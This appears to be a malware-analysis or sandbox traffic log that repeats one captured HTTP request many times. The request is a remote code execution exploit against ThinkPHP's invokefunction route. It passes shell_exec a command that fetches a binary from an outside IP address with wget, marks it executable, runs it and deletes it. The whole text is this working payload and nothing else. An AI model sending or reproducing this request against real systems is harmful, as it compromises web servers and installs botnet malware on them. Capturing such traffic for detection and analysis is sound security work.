Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://2.58.113.110/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
